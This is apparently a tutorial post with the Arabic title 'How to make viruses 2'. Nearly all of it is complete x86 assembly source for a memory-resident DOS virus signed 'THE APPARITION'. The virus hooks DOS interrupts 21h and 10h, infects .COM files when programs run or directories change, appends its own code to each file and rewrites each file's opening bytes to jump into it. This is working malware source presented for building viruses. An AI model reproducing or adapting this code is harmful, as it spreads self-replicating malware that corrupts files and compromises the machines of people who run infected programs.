كيفية تصنيع الفيروسات 2

cseg      segment
targ_seg   equ   0B800h+200h
      assume   cs:cseg,ds:cseg
      org   100h
start:
      jmp   vir_entry
      db   1000-4 dup (90h);
      retn

v_begin:
      pop   ax ax ax
vir_entry:
      call   next
next:
      pop   si
      sub   si,offset next
      mov   ax,0FACh
      int   21h
      cmp   ax,3535h
      jne   install
      jmp   go
install:
set_vectors:
      mov   ax,0
      mov   es,ax
      cli
      mov   ax,es:[21h*4]
      mov   [si + offset jmp_21_ofs],ax
      mov   ax,es:[21h*4+2]
      mov   [si + offset jmp_21_seg],ax
      mov   word ptr es:[21h*4],offset int_21 - offset v_begin
      mov   es:[21h*4+2],targ_seg
      mov   ax,es:[10h*4]
      mov   [si + offset jmp_10_ofs],ax
      mov   ax,es:[10h*4+2]
      mov   [si + offset jmp_10_seg],ax
      mov   word ptr es:[10h*4],offset int_10 - offset v_begin
      mov   es:[10h*4+2],targ_seg
copy_self:
      mov   bx,si
      add   bx,offset v_begin
      mov   ax,targ_seg
      mov   es,ax
      mov   di,0
      mov   cx,offset the_end - offset v_begin
copy_loop:
      mov   ah,byte ptr [bx]
      mov   es:[di],ah
      inc   di
      inc   bx
      loop   copy_loop
      sti
go:

restore_bytes:
      mov   bx,si
      add   bx,offset old_bytes
      mov   di,100h
      mov   cx,32
r_b_loop:
      mov   ah,[bx]
      mov   [di],ah
      inc   bx
      inc   di
      loop   r_b_loop
inf_current_dir:
      call   infect_dir

retun_to_prog:
      push   ds
      pop   es
      mov   ax,100h
      push   ax
      retn
int_10:
      cmp   ah,00
      jne   int_10_ok
      iret
int_10_ok:
      db   0EAh
jmp_10_ofs   dw   0
jmp_10_seg   dw   0

;
;      Int 21h handler
;

int_21:
      pushf
      push   ax bx cx dx si di bp ds es
      call   next_1
next_1:
      pop   si
      sub   si,offset next_1
      cmp   ax,0FACh
      jne   loc_1
      pop   es ds bp di si dx cx bx ax
      popf
      mov   ax,3535h
      iret
loc_1:
      cmp   ax,4B00h
      jne   check_chdir
      mov   bx,dx
      mov   di,offset filename
      add   di,si
      mov   cx,64
loc_loop_1:
      mov   ah,ds:[bx]
      mov   cs:[di],ah
      inc   bx
      inc   di
      loop   loc_loop_1
      push   cs
      pop   ds


      call   infect_file
      
      jmp   quit_21

check_chdir:
      cmp   ah,3Bh
      jne   quit_21
      
      push   cs
      pop   ds
      call   infect_dir

quit_21:
      pop   es ds bp di si dx cx bx ax
      popf
      db   0EAh
jmp_21_ofs   dw   0
jmp_21_seg   dw   0
;
;      GLOBAL   DATA
;
f_size      dw   0
old_bytes      db   32 dup (90h)
dta       label   byte
reserved   db   21 dup (0)
dta_attr   db   0
time      dw   0
date      dw   0
l_size      dw   0
h_size      dw   0
filename   db   64 dup (0)
handle      dw   0
old_dta_seg   dw   0
old_dta_ofs   dw   0
all_com        db      '*.COM',0

;
;      ENTRY PROC
;

ep_prog:
      mov   ax,25a0h
      db   0BAh
ret_ofs      dw   0
      int   21h
      int   0A0h
sign            db  'THE APPARITION'
      db   26 dup (0)
;
;      PROCS & ENGINES
;
infect_file   proc   near
open_file:
      mov   ax,3D02h
      mov   dx,offset filename
      add   dx,si
      int   21h
      mov   [si + offset handle],ax
      jnc   get_check_size
      jmp   no_infect
get_check_size:
      mov   ax,4202h
      mov   bx,[si + offset handle]
      mov   cx,0
      mov   dx,0
      int   21h
      mov   [si + offset f_size],ax
      cmp   ax,600
      jnb   loc_2
      jmp   close
loc_2:
      cmp   ax,60000
      jna   read_bytes
      jmp   close

read_bytes:
      mov   ax,4200h
      mov   bx,[si + offset handle]
      mov   cx,0
      mov   dx,0
      int   21h

      mov   ah,3Fh
      mov   bx,[si + offset handle]
      mov   dx,offset old_bytes
      add   dx,si
      mov   cx,32
      int   21h

check_mz:
      mov   ax,[si + offset old_bytes]
      cmp   ax,4D5Ah
      jne   loc_3
      jmp   close
loc_3:
      cmp   ax,5A4Dh
      jne   check_sign
      jmp   close

check_sign:
      cmp   word ptr [si + offset old_bytes],0A0B8h
      jne   calc_jmp
      jmp   close
calc_jmp:
      mov   ax,[si + offset f_size]
      add   ax,100h
      mov   [si + ret_ofs],ax

      mov   ax,4202h
      mov   bx,[si + offset handle]
      mov   cx,0
      mov   dx,0
      int   21h


      mov   dx,offset v_begin
      add   dx,si
      mov   cx,offset the_end - offset v_begin


write_self:
      mov   ah,40h
      mov   bx,[si + offset handle]
      int   21h
set_f_ptr:
      mov   ax,4200h
      mov   bx,[si + offset handle]
      mov   cx,0
      mov   dx,0
      int   21h
write_prog:
      mov   ah,40h
      mov   bx,[si + offset handle]
      mov   cx,32
      mov   dx,offset ep_prog
      add   dx,si
      int   21h

close:
      mov   ah,3Eh
      mov   bx,[si + offset handle]
      int   21h

no_infect:
      retn
infect_file   endp

infect_dir   proc   near
save_dta:    mov   ah,2fh
      int   21h
      mov   word ptr [si+offset old_dta_ofs],bx
      mov   word ptr [si+offset old_dta_seg],es
set_dta:
      mov   dx,offset dta
      add   dx,si
      mov   ah,1ah
      int   21h
find_first:
      mov   dx,offset all_com
      add   dx,si
      mov   ah,4eh
find_loc_1:
      xor   cx,cx
      mov   cl,00100111b
      int   21h
                jc      no_more
inf_this:
                call    infect_file
find_next:
      mov   ah,4fh
                jmp    find_loc_1
no_more:
restore_old_dta:
      push   ds
      mov   dx,word ptr [offset old_dta_ofs + si]
      mov   ax,word ptr [offset old_dta_seg + si]
      mov   ds,ax
      mov   ah,1ah
      int   21h
      pop   ds
                retn
infect_dir      endp


the_end:
cseg      ends
      end   start